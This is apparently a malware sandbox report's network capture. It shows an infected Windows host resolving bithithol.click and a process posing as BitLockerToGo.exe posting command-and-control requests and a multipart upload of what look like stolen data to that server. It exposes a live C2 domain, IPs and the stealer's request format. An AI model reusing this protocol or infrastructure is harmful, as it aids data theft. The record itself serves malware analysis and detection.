Dec 24, 2024 08:16:42.859328032 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.859544992 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.859591961 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.859616995 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.907335043 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:42.907432079 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:42.951330900 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:43.228344917 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:45.100193024 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:45.100470066 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:45.100536108 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:45.100636959 CET	49747	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:45.100650072 CET	443	49747	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:45.143552065 CET	49748	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:45.143640041 CET	443	49748	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:45.143800974 CET	49748	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:45.144103050 CET	49748	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:45.144138098 CET	443	49748	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:46.380487919 CET	443	49748	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:46.380671978 CET	49748	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:46.382208109 CET	49748	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:46.382240057 CET	443	49748	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:46.383289099 CET	443	49748	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:46.384743929 CET	49748	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:46.384788990 CET	49748	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:46.384845972 CET	443	49748	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:47.143848896 CET	443	49748	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:47.144119024 CET	443	49748	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:47.144195080 CET	49748	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:47.144340992 CET	49748	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:47.144385099 CET	443	49748	172.67.151.61	192.168.2.4
Dec 24, 2024 08:16:47.144419909 CET	49748	443	192.168.2.4	172.67.151.61
Dec 24, 2024 08:16:47.144437075 CET	443	49748	172.67.151.61	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 08:16:26.899334908 CET	54668	53	192.168.2.4	1.1.1.1
Dec 24, 2024 08:16:27.208863020 CET	53	54668	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 08:16:26.899334908 CET	192.168.2.4	1.1.1.1	0xcc04	Standard query (0)	bithithol.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 08:16:27.208863020 CET	1.1.1.1	192.168.2.4	0xcc04	No error (0)	bithithol.click		172.67.151.61	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:16:27.208863020 CET	1.1.1.1	192.168.2.4	0xcc04	No error (0)	bithithol.click		104.21.33.227	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bithithol.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49741	172.67.151.61	443	7764	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:16:28 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bithithol.click
2024-12-24 07:16:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-24 07:16:29 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:16:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ril9po6e7qtrtvudr9fg6rpeq; expires=Sat, 19 Apr 2025 01:03:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sG3qzWPjHIVZgM%2BA%2BMAkDZ%2Bz6KpaZSQi%2Fq%2BR1puJ%2BMp68Atec8dR%2BtMRd09jUG%2FqN72zvyOTcU0CEwSlqJtkzS1r%2Fvwx6h9RWqdqp8J3nO3al83Okb5Xj8d6nZX%2FbbXQKVk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ece5f7e90425d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2232&min_rtt=2212&rtt_var=844&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1320072&cwnd=193&unsent_bytes=0&cid=92fd0cd4dc3ac2db&ts=758&x=0"
2024-12-24 07:16:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-24 07:16:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	172.67.151.61	443	7764	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:16:30 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: bithithol.click
2024-12-24 07:16:30 UTC	51	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 76 51 4f 58 4e 2d 2d 6d 6f 6e 65 79 74 72 65 65 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=VvQOXN--moneytree&j=
2024-12-24 07:16:31 UTC	1121	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7q8ncih928lcmc2b8clbd526vl; expires=Sat, 19 Apr 2025 01:03:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wqdikz5RyIG1aVXmLr2pOENZhJv4oOwMilEkGyE4YCOUFGQ8KzfbiYLNaAxRBXIkxymX2stuPGcZCYE9twKEH9hY63xOCi%2FpzexSnfc0KFjTv57%2BnZiHMhxrlArupHGqY3k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ece6bfd5b7d06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&min_rtt=1779&rtt_var=678&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=950&delivery_rate=1601755&cwnd=244&unsent_bytes=0&cid=4bf6812f0c12a214&ts=784&x=0"
2024-12-24 07:16:31 UTC	248	IN	Data Raw: 34 36 63 0d 0a 7a 68 4d 5a 52 74 47 71 44 47 35 34 55 61 6c 51 73 4e 54 7a 69 62 4c 7a 77 66 4e 61 76 5a 71 47 4e 55 38 49 70 74 4c 52 71 6c 32 31 4d 57 39 6b 36 35 34 67 54 41 73 30 69 32 72 45 70 6f 62 73 6e 74 47 67 6c 33 69 48 2f 4f 64 5a 50 47 32 4b 38 4b 66 48 66 2f 52 31 65 43 71 69 7a 79 42 4d 48 53 6d 4c 61 75 75 76 30 65 7a 63 30 66 76 52 50 39 66 34 35 31 6b 74 61 63 32 39 6f 63 59 2b 70 6e 39 2b 4c 72 54 4a 61 41 38 55 50 4d 77 31 31 62 57 5a 35 39 75 65 71 5a 35 34 6b 62 6a 6a 54 32 30 79 68 4a 2b 30 33 6a 79 44 63 6d 6f 74 38 39 63 67 46 56 6f 30 78 33 4b 4b 39 70 4c 73 30 4a 2b 6e 6c 7a 48 56 38 75 35 52 4c 47 7a 4d 6f 72 6a 4d 4e 61 5a 78 66 53 2b 2b 77 48 77 43 48 6a 76 48 4d 39 2b 31 30 61 57 51 6c 72 76 52 59 4a 2b Data Ascii: 46czhMZRtGqDG54UalQsNTzibLzwfNavZqGNU8IptLRql21MW9k654gTAs0i2rEpobsntGgl3iH/OdZPG2K8KfHf/R1eCqizyBMHSmLauuv0ezc0fvRP9f451ktac29ocY+pn9+LrTJaA8UPMw11bWZ59ueqZ54kbjjT20yhJ+03jyDcmot89cgFVo0x3KK9pLs0J+nlzHV8u5RLGzMorjMNaZxfS++wHwCHjvHM9+10aWQlrvRYJ+
2024-12-24 07:16:31 UTC	891	IN	Data Raw: 72 31 6c 51 38 65 39 47 39 6f 38 35 2f 73 7a 39 69 5a 4c 54 45 4c 6c 52 61 4f 38 63 38 31 37 57 65 37 4e 47 52 73 5a 34 34 33 50 44 73 55 79 64 6c 79 37 2b 39 77 6a 69 6b 65 48 77 72 74 4d 42 6f 41 78 6c 7a 68 58 4c 56 72 74 47 7a 6b 4c 47 7a 6b 6a 76 4c 39 66 55 58 4d 69 54 64 38 4c 54 45 66 2f 51 78 66 53 71 79 78 57 34 65 45 6a 6a 41 4e 38 43 39 6d 4f 62 64 6b 61 36 62 4e 39 7a 34 34 31 30 6e 5a 63 36 30 76 73 55 35 72 48 45 37 61 76 50 50 64 6b 78 43 63 2b 67 33 77 72 47 64 2f 5a 4b 72 34 34 35 32 78 72 6a 6a 57 32 30 79 68 4c 69 32 79 7a 79 6e 66 6e 67 73 75 4e 70 75 48 68 77 2b 7a 69 44 55 73 35 2f 68 30 34 4f 70 6e 7a 37 63 38 65 39 65 4b 47 33 41 38 50 32 49 4f 4c 51 78 49 32 53 53 78 57 55 41 45 43 54 4c 63 73 33 34 69 4b 76 58 6e 65 50 4a 65 4e Data Ascii: r1lQ8e9G9o85/sz9iZLTELlRaO8c817We7NGRsZ443PDsUydly7+9wjikeHwrtMBoAxlzhXLVrtGzkLGzkjvL9fUXMiTd8LTEf/QxfSqyxW4eEjjAN8C9mObdka6bN9z4410nZc60vsU5rHE7avPPdkxCc+g3wrGd/ZKr4452xrjjW20yhLi2yzynfngsuNpuHhw+ziDUs5/h04Opnz7c8e9eKG3A8P2IOLQxI2SSxWUAECTLcs34iKvXnePJeN
2024-12-24 07:16:31 UTC	1369	IN	Data Raw: 34 34 62 30 0d 0a 6e 36 53 48 65 4d 43 32 2f 52 63 71 5a 6f 54 6f 38 38 63 77 6f 33 6c 37 4a 62 66 46 61 67 30 58 50 38 49 78 33 72 71 5a 35 74 79 56 72 4a 6b 77 33 50 44 32 57 53 4e 73 77 72 43 32 69 48 48 73 64 6d 4e 6b 36 34 68 4b 41 67 30 6e 77 48 44 6e 74 5a 2f 6c 31 34 66 6a 6a 6e 62 47 75 4f 4e 62 62 54 4b 45 76 72 37 44 4d 36 74 34 65 69 65 7a 77 6d 41 44 45 44 76 44 4d 74 2b 33 6d 75 50 57 6e 4b 69 65 4e 39 6a 77 35 31 73 6f 5a 38 66 77 2f 59 67 34 74 44 45 6a 5a 4a 62 47 62 52 30 4c 63 66 34 78 33 4c 69 57 2f 5a 43 4f 37 59 68 34 32 50 53 6b 44 32 31 67 77 37 65 33 78 54 57 76 64 58 38 70 76 4d 46 6e 42 51 67 35 78 7a 7a 41 75 35 76 75 33 70 32 6d 6e 6a 6a 65 2b 65 70 64 4a 69 71 4b 38 4c 54 51 66 2f 51 78 56 43 6d 6a 32 6d 51 48 43 33 48 2b 4d Data Ascii: 44b0n6SHeMC2/RcqZoTo88cwo3l7JbfFag0XP8Ix3rqZ5tyVrJkw3PD2WSNswrC2iHHsdmNk64hKAg0nwHDntZ/l14fjjnbGuONbbTKEvr7DM6t4eiezwmADEDvDMt+3muPWnKieN9jw51soZ8fw/Yg4tDEjZJbGbR0Lcf4x3LiW/ZCO7Yh42PSkD21gw7e3xTWvdX8pvMFnBQg5xzzAu5vu3p2mnjje+epdJiqK8LTQf/QxVCmj2mQHC3H+M
2024-12-24 07:16:31 UTC	1369	IN	Data Raw: 7a 6b 4c 36 67 68 7a 4b 66 35 36 70 4f 62 57 33 49 38 4f 75 49 4e 61 42 31 65 43 69 36 78 47 4d 4e 48 6a 54 47 4e 74 4b 77 6c 2b 37 52 6d 71 75 64 4e 39 58 30 34 46 73 6b 62 4d 69 7a 73 4d 35 2f 34 6a 46 38 50 50 4f 51 4c 69 30 58 4f 4d 63 79 30 61 65 57 71 35 37 52 72 5a 63 34 6e 36 44 79 52 7a 70 74 32 2f 36 71 69 44 69 67 4d 53 4e 6b 75 64 70 72 41 68 34 35 7a 6a 62 65 76 4a 48 75 77 70 6d 6c 6c 6a 54 58 2f 65 74 52 4b 47 66 44 75 37 44 61 4c 61 39 31 64 53 6a 7a 68 69 34 4c 41 6e 4f 54 63 76 65 68 6b 76 76 57 6b 75 4f 4f 64 73 61 34 34 31 74 74 4d 6f 53 77 76 63 51 30 71 33 70 77 49 4c 66 49 59 77 63 55 50 63 49 2b 32 72 71 57 2b 64 32 55 71 35 73 78 32 76 54 70 56 44 39 70 78 66 44 39 69 44 69 30 4d 53 4e 6b 6c 50 74 5a 4c 31 6f 73 68 53 75 53 73 5a Data Ascii: zkL6ghzKf56pObW3I8OuINaB1eCi6xGMNHjTGNtKwl+7RmqudN9X04FskbMizsM5/4jF8PPOQLi0XOMcy0aeWq57RrZc4n6DyRzpt2/6qiDigMSNkudprAh45zjbevJHuwpmlljTX/etRKGfDu7DaLa91dSjzhi4LAnOTcvehkvvWkuOOdsa441ttMoSwvcQ0q3pwILfIYwcUPcI+2rqW+d2Uq5sx2vTpVD9pxfD9iDi0MSNklPtZL1oshSuSsZ
2024-12-24 07:16:31 UTC	1369	IN	Data Raw: 6a 35 49 33 31 4c 6a 37 47 54 51 71 77 37 7a 7a 6b 48 2b 72 65 58 4d 71 73 4d 35 6c 41 42 59 79 77 6a 54 58 76 70 62 6b 31 35 69 6b 6b 54 37 4e 2f 2b 6c 65 4c 57 48 4e 75 72 66 4a 4e 4f 77 2f 4f 79 4f 72 69 44 5a 4d 4b 44 54 64 49 74 48 32 6a 71 58 4a 30 61 53 64 65 49 65 34 36 55 55 73 62 39 61 30 76 4d 4d 74 70 33 64 37 49 61 48 50 59 67 59 56 4d 4d 4d 2f 30 62 36 44 36 39 32 52 73 59 4d 2b 31 50 61 6b 47 57 31 74 33 50 44 72 69 41 36 37 65 6a 73 37 2f 64 45 75 43 78 5a 7a 6b 33 4c 52 76 4a 7a 6c 77 70 57 6c 6d 6a 76 52 38 4f 46 66 4b 57 44 4a 76 37 6a 43 4e 71 52 78 64 43 47 37 77 32 67 43 47 7a 58 48 50 35 4c 34 30 65 7a 49 30 66 76 52 48 38 58 31 34 6b 41 38 58 38 4f 77 34 6f 67 67 34 6d 67 37 49 37 2b 49 4e 6b 77 58 50 38 45 2f 31 37 4b 5a 37 4e 4f Data Ascii: j5I31Lj7GTQqw7zzkH+reXMqsM5lABYywjTXvpbk15ikkT7N/+leLWHNurfJNOw/OyOriDZMKDTdItH2jqXJ0aSdeIe46UUsb9a0vMMtp3d7IaHPYgYVMMM/0b6D692RsYM+1PakGW1t3PDriA67ejs7/dEuCxZzk3LRvJzlwpWlmjvR8OFfKWDJv7jCNqRxdCG7w2gCGzXHP5L40ezI0fvRH8X14kA8X8Ow4ogg4mg7I7+INkwXP8E/17KZ7NO
2024-12-24 07:16:31 UTC	1369	IN	Data Raw: 4e 6a 30 70 41 39 74 5a 4d 6d 32 73 73 6b 33 70 48 46 39 4c 72 66 4c 5a 77 38 64 4f 73 30 35 30 62 79 65 37 4e 61 56 6f 35 6f 2f 30 66 37 68 58 43 51 71 69 76 43 30 30 48 2f 30 4d 56 30 48 6f 64 70 63 41 68 6b 6f 69 79 32 63 72 39 48 73 33 4e 48 37 30 54 50 58 39 2f 5a 53 4a 47 4c 41 75 62 50 4d 4e 61 46 32 65 79 47 2b 7a 57 6f 43 48 6a 54 4c 50 74 32 78 6d 65 54 55 6b 61 7a 52 64 70 2f 2f 2f 42 64 31 4b 75 53 37 70 65 6b 78 70 32 4d 37 4f 2f 33 52 4c 67 73 57 63 35 4e 79 33 4c 2b 51 34 39 36 64 71 35 55 71 33 2f 50 74 57 43 78 6c 78 4c 4f 79 77 6a 65 2b 64 33 73 76 75 38 39 6d 43 42 51 68 79 6a 32 53 2b 4e 48 73 79 4e 48 37 30 51 6e 4a 2f 2b 4e 59 62 30 50 44 71 37 4c 43 50 4b 64 39 4f 7a 76 39 30 53 34 4c 46 6e 4f 54 63 74 2b 36 6e 4f 2f 43 6e 61 4f 52 Data Ascii: Nj0pA9tZMm2ssk3pHF9LrfLZw8dOs050bye7NaVo5o/0f7hXCQqivC00H/0MV0HodpcAhkoiy2cr9Hs3NH70TPX9/ZSJGLAubPMNaF2eyG+zWoCHjTLPt2xmeTUkazRdp///Bd1KuS7pekxp2M7O/3RLgsWc5Ny3L+Q496dq5Uq3/PtWCxlxLOywje+d3svu89mCBQhyj2S+NHsyNH70QnJ/+NYb0PDq7LCPKd9Ozv90S4LFnOTct+6nO/CnaOR
2024-12-24 07:16:31 UTC	1369	IN	Data Raw: 52 63 49 32 2f 46 76 4c 6e 50 4d 62 35 77 63 53 69 79 7a 32 6b 48 43 44 6a 5a 4f 64 71 31 6e 2b 50 5a 6b 61 32 52 4f 64 4c 34 70 42 6c 74 62 64 7a 77 36 34 67 61 6a 32 5a 74 4c 76 48 72 65 52 6f 51 4e 4d 63 6b 32 62 65 53 2f 64 32 42 34 39 39 34 7a 76 2f 31 46 33 56 38 31 4b 65 30 31 33 47 31 4d 58 77 6f 38 35 41 75 42 78 55 39 78 6a 6e 57 76 35 54 6a 30 35 53 6d 6d 7a 54 54 2b 65 78 65 4a 32 2f 42 74 72 6e 4c 4d 61 4e 77 64 79 43 36 78 6d 64 4d 56 48 50 4d 4b 70 4c 75 30 64 33 41 6c 72 75 63 4b 4a 33 4b 35 30 59 38 66 38 6d 67 74 59 6f 51 72 33 31 34 49 62 54 59 4c 68 4e 55 4b 6f 73 31 33 76 62 4a 71 39 43 56 72 35 49 2f 30 66 66 70 57 43 70 68 79 37 71 39 32 6a 43 70 65 58 63 73 76 74 70 6b 42 67 67 36 77 6a 2f 63 76 6f 50 6f 6b 4e 2f 6a 6c 69 43 66 6f Data Ascii: RcI2/FvLnPMb5wcSiyz2kHCDjZOdq1n+PZka2ROdL4pBltbdzw64gaj2ZtLvHreRoQNMck2beS/d2B4994zv/1F3V81Ke013G1MXwo85AuBxU9xjnWv5Tj05SmmzTT+exeJ2/BtrnLMaNwdyC6xmdMVHPMKpLu0d3AlrucKJ3K50Y8f8mgtYoQr314IbTYLhNUKos13vbJq9CVr5I/0ffpWCphy7q92jCpeXcsvtpkBgg6wj/cvoPokN/jliCfo
2024-12-24 07:16:31 UTC	1369	IN	Data Raw: 6f 39 61 61 2b 32 44 79 70 64 6b 55 61 76 63 39 36 43 78 51 31 79 33 4b 63 39 70 36 72 69 4b 6a 6a 32 58 6a 67 74 71 52 50 62 54 4b 45 68 62 44 47 4d 61 74 6e 61 6d 6d 51 33 33 67 47 41 58 48 74 4e 63 4f 2f 68 2b 62 43 30 65 33 52 50 70 2b 67 74 42 6c 74 62 74 58 77 36 35 68 74 39 79 51 6f 63 2b 4f 61 63 55 49 44 63 39 31 79 69 75 54 66 71 38 4c 52 2b 39 46 2f 33 4f 72 32 55 53 35 38 78 2f 65 4e 39 68 2b 6e 5a 33 6f 70 75 4d 52 51 4d 67 38 77 78 54 7a 56 6f 49 43 72 6e 74 47 73 30 57 44 6d 75 4b 77 58 45 69 53 45 71 50 4f 51 66 35 6c 79 64 53 71 30 33 6e 39 42 4f 6a 6a 64 4d 39 2b 39 6e 61 6e 52 6e 4c 4f 57 65 4a 47 34 34 68 64 31 4f 6f 72 77 74 39 6c 2f 39 43 45 70 66 2b 61 62 4f 56 78 49 4c 49 55 72 6b 71 44 52 73 34 4c 66 34 34 4e 34 68 37 69 6a 56 44 Data Ascii: o9aa+2DypdkUavc96CxQ1y3Kc9p6riKjj2XjgtqRPbTKEhbDGMatnammQ33gGAXHtNcO/h+bC0e3RPp+gtBltbtXw65ht9yQoc+OacUIDc91yiuTfq8LR+9F/3Or2US58x/eN9h+nZ3opuMRQMg8wxTzVoICrntGs0WDmuKwXEiSEqPOQf5lydSq03n9BOjjdM9+9nanRnLOWeJG44hd1Oorwt9l/9CEpf+abOVxILIUrkqDRs4Lf44N4h7ijVD
2024-12-24 07:16:31 UTC	1369	IN	Data Raw: 6f 73 73 2f 70 7a 45 31 5a 4c 57 49 4e 6c 35 55 63 38 38 6a 6b 75 37 42 75 59 76 45 38 4d 5a 6f 6a 65 65 71 54 6d 31 38 68 4f 6a 68 68 6e 2b 2b 4d 53 4e 6b 39 4d 74 38 48 68 77 77 33 54 47 56 69 4b 2f 4e 30 35 61 6c 6b 6a 62 49 36 61 5a 34 4c 6d 48 49 76 4c 54 65 41 5a 4a 6b 65 43 71 39 7a 33 67 64 57 6e 32 4c 50 5a 4c 75 71 4b 76 42 6d 36 54 64 63 4a 50 70 39 31 6b 6d 66 4d 50 77 6a 49 5a 2f 74 44 45 6a 5a 49 62 4c 59 41 49 64 4a 64 70 2f 39 4c 57 57 37 64 4f 66 74 49 42 34 6b 62 6a 69 46 33 55 34 69 76 43 33 32 58 2f 30 49 53 6c 2f 35 70 73 35 58 45 67 73 68 53 75 53 6f 4e 47 7a 67 39 2f 6a 67 33 69 48 75 4b 4e 5a 49 47 76 48 76 72 44 61 4c 61 70 79 62 53 66 30 39 6c 41 70 46 7a 37 4f 50 4e 57 49 72 38 72 61 67 61 36 65 50 2b 48 47 30 30 59 71 65 6f 61 Data Ascii: oss/pzE1ZLWINl5Uc88jku7BuYvE8MZojeeqTm18hOjhhn++MSNk9Mt8Hhww3TGViK/N05alkjbI6aZ4LmHIvLTeAZJkeCq9z3gdWn2LPZLuqKvBm6TdcJPp91kmfMPwjIZ/tDEjZIbLYAIdJdp/9LWW7dOftIB4kbjiF3U4ivC32X/0ISl/5ps5XEgshSuSoNGzg9/jg3iHuKNZIGvHvrDaLapybSf09lApFz7OPNWIr8raga6eP+HG00Yqeoa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	172.67.151.61	443	7764	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:16:32 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B51MT2CVR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18113 Host: bithithol.click
2024-12-24 07:16:32 UTC	15331	OUT	Data Raw: 2d 2d 42 35 31 4d 54 32 43 56 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 36 43 41 34 38 45 34 30 33 46 43 34 35 45 36 44 46 37 30 30 37 45 36 42 42 34 36 39 44 31 0d 0a 2d 2d 42 35 31 4d 54 32 43 56 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 35 31 4d 54 32 43 56 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 76 51 4f 58 4e 2d 2d 6d 6f 6e 65 79 74 72 65 65 0d 0a 2d 2d 42 35 31 4d 54 32 43 56 52 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --B51MT2CVRContent-Disposition: form-data; name="hwid"546CA48E403FC45E6DF7007E6BB469D1--B51MT2CVRContent-Disposition: form-data; name="pid"2--B51MT2CVRContent-Disposition: form-data; name="lid"VvQOXN--moneytree--B51MT2CVRContent-
2024-12-24 07:16:32 UTC	2782	OUT	Data Raw: 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_
2024-12-24 07:16:34 UTC	1126	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:16:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tbo7qavo6asv9nuh6u1p8n8j72; expires=Sat, 19 Apr 2025 01:03:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r9nZrNCno4VB1EJi96DaAG4DaGOQaBIQTFDDhS%2F1QoBjXB0J6W2s%2FLKbTidbrgAhOtRDJsjVemw8fvoOQuASGnWouTlkCm2kdDio79TqznKztFOkr8gBNUhMPhIbzYf8cso%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ece7aabbe4366-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1573&rtt_var=624&sent=13&recv=22&lost=0&retrans=0&sent_bytes=2835&recv_bytes=19065&delivery_rate=1707602&cwnd=200&unsent_bytes=0&cid=4e26a052b5f1f983&ts=1289&x=0"
2024-12-24 07:16:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:16:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	172.67.151.61	443	7764	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
